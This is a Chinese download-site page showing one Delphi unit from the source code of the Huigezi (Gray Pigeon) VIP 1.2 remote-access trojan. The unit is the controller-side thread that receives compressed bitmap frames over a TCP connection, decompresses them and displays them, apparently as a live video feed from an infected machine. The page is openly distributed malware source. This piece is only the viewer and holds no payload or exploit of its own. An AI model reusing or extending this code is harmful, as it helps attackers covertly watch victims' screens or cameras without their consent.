⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 tvideothreadunit.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
字号:
unit TVideoThreadUnit;

interface

uses
 Classes, IdTCPServer, IdGlobal,SysUtils,ZLib;


type
  TVideoThread = class(TThread)
  private
    SysThread:TIdPeerThread;

    procedure UnCompressBitmap(Data:TMemoryStream; bmp: TMemoryStream);
  protected
    
    procedure Execute; override;
  Public
    constructor Create(AThread:TIdPeerThread);
    destructor Destroy; override;
  end;

implementation
uses Main;

constructor TVideoThread.Create(AThread:TIdPeerThread);
begin
   inherited Create(True);
   FreeOnTerminate:=True;

   SysThread:=AThread;
   
   Suspended := false;
   //Priority:=tpIdle;
end;


procedure TVideoThread.UnCompressBitmap(Data:TMemoryStream; bmp: TMemoryStream);
var
   ms    : TMemoryStream;
   buf   : pointer;
   size  : integer;
   TmpStr: String;
begin
   SetLength(TmpStr, Data.Size);
   Move(Data.Memory^, TmpStr[1], Data.Size);
   try
      DecompressBuf(@TmpStr[1], Length(TmpStr),Length (TmpStr) * 3, buf, size);
   except
   end;
   ms := TMemoryStream.Create;
   ms.Write(buf^, size);
   FreeMem(buf);
   ms.Position := 0;
   Assert(bmp<>nil);
   bmp.LoadFromStream(ms);
   ms.Free;
end;

procedure TVideoThread.Execute;
var
MyStream,MyTempBmp:tmemorystream;
Thesize:integer;
begin
         //循环接收图像
         MyStream:=tmemorystream.Create;
         MyTempBmp:=tmemorystream.Create;
         HgzFsb.AddLineStr('开始视频了或! ' , 1, False);
         try
           repeat
             Thesize:=SysThread.Connection.ReadInteger;
             SysThread.Connection.ReadStream(MyTempBmp,Thesize,False);
             MyTempBmp.Position :=0;
             UnCompressBitmap(MyTempBmp,MyStream);
             MyStream.Position :=0;
             HgzFsb.Videobmp.LoadFromStream(MyStream);
             HgzFsb.Image1.Width := HgzFsb.Videobmp.Width;
             HgzFsb.Image1.Height:= HgzFsb.Videobmp.Height;
             HgzFsb.Image1.Canvas.Draw(0, 0, HgzFsb.Videobmp);
             MyStream.Clear;
             MyTempBmp.Clear;
         until (SysThread.Connection.Connected=False);
       except
       end;
       HgzFsb.AddLineStr('终止视频了或! ' , 1, False);
end;

destructor TVideoThread.Destroy;
begin
  inherited destroy;
end;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -